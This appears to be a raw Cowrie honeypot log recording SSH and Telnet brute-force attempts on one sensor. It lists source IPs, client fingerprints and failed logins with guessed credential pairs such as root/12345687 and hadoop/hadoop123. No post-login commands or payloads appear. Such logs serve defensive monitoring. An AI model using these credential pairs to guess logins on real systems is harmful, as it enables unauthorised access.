{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:45.185641Z","src_ip":"45.156.87.204","session":"796fbeba2f75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer","message":"login attempt [developer/developer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:45.439273Z","src_ip":"45.156.87.204","session":"796fbeba2f75","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:45.569288Z","src_ip":"47.237.167.49","session":"7a5808409549","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:45.574078Z","src_ip":"47.237.167.49","session":"7a5808409549","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:46.533573Z","src_ip":"45.156.87.204","session":"796fbeba2f75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"onkar","password":"onkar123","message":"login attempt [onkar/onkar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:47.015918Z","src_ip":"47.237.167.49","session":"7a5808409549","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:48.250133Z","src_ip":"47.237.167.49","session":"7a5808409549","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":38830,"dst_ip":"159.203.135.109","dst_port":22,"session":"1aa9415d0c51","protocol":"ssh","message":"New connection: 45.156.87.204:38830 (159.203.135.109:22) [session: 1aa9415d0c51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:48.425226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:48.431554Z","src_ip":"45.156.87.204","session":"1aa9415d0c51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:48.508600Z","src_ip":"45.156.87.204","session":"1aa9415d0c51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"123456","message":"login attempt [elastic/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:49.006758Z","src_ip":"45.156.87.204","session":"1aa9415d0c51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:50.090995Z","src_ip":"45.156.87.204","session":"1aa9415d0c51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":38846,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ceda2ad19b0","protocol":"ssh","message":"New connection: 45.156.87.204:38846 (159.203.135.109:22) [session: 3ceda2ad19b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:52.055357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:52.059826Z","src_ip":"45.156.87.204","session":"3ceda2ad19b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:52.141615Z","src_ip":"45.156.87.204","session":"3ceda2ad19b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:52.387008Z","src_ip":"45.156.87.204","session":"3ceda2ad19b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.151.211","src_port":33586,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d7fd7c2faaa","protocol":"ssh","message":"New connection: 170.106.151.211:33586 (159.203.135.109:22) [session: 7d7fd7c2faaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:53.170218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:53.174684Z","src_ip":"170.106.151.211","session":"7d7fd7c2faaa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:53.243784Z","src_ip":"170.106.151.211","session":"7d7fd7c2faaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:53.471004Z","src_ip":"45.156.87.204","session":"3ceda2ad19b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345687","message":"login attempt [root/12345687] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:53.549825Z","src_ip":"170.106.151.211","session":"7d7fd7c2faaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:54.620784Z","src_ip":"170.106.151.211","session":"7d7fd7c2faaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":56280,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8388350ce6d","protocol":"ssh","message":"New connection: 45.156.87.204:56280 (159.203.135.109:22) [session: e8388350ce6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:55.588509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:55.594766Z","src_ip":"45.156.87.204","session":"e8388350ce6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:55.677452Z","src_ip":"45.156.87.204","session":"e8388350ce6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"root","message":"login attempt [deploy/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:55.925371Z","src_ip":"45.156.87.204","session":"e8388350ce6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.78.78","src_port":34352,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a042a8abf56","protocol":"ssh","message":"New connection: 42.200.78.78:34352 (159.203.135.109:22) [session: 6a042a8abf56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:56.606891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:56.611034Z","src_ip":"42.200.78.78","session":"6a042a8abf56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:56.825952Z","src_ip":"42.200.78.78","session":"6a042a8abf56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:57.010947Z","src_ip":"45.156.87.204","session":"e8388350ce6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54274,"dst_ip":"10.17.0.5","dst_port":23,"session":"e87fc9d0452f","protocol":"telnet","message":"New connection: 152.42.224.71:54274 (10.17.0.5:23) [session: e87fc9d0452f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:57.145892Z"}
{"eventid":"cowrie.login.failed","username":"behnam","password":"behnam","message":"login attempt [behnam/behnam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:57.718325Z","src_ip":"42.200.78.78","session":"6a042a8abf56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:58.937101Z","src_ip":"42.200.78.78","session":"6a042a8abf56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":56284,"dst_ip":"159.203.135.109","dst_port":22,"session":"db9e10f8751e","protocol":"ssh","message":"New connection: 45.156.87.204:56284 (159.203.135.109:22) [session: db9e10f8751e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:59.181056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:59.186291Z","src_ip":"45.156.87.204","session":"db9e10f8751e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:59.268500Z","src_ip":"45.156.87.204","session":"db9e10f8751e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.972317934036255,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:59.451935Z","src_ip":"152.42.224.71","session":"cb250e46c83d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"gpuadmin","password":"gpuadmin","message":"login attempt [gpuadmin/gpuadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:59.516646Z","src_ip":"45.156.87.204","session":"db9e10f8751e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:00.601425Z","src_ip":"45.156.87.204","session":"db9e10f8751e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.114.76","src_port":53026,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6b242743e82","protocol":"ssh","message":"New connection: 119.28.114.76:53026 (159.203.135.109:22) [session: d6b242743e82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:03.082663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:03.094137Z","src_ip":"119.28.114.76","session":"d6b242743e82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":33182,"dst_ip":"159.203.135.109","dst_port":22,"session":"55eadb2b7f2d","protocol":"ssh","message":"New connection: 45.156.87.204:33182 (159.203.135.109:22) [session: 55eadb2b7f2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:03.195841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:03.201680Z","src_ip":"45.156.87.204","session":"55eadb2b7f2d","protocol":"ssh"}
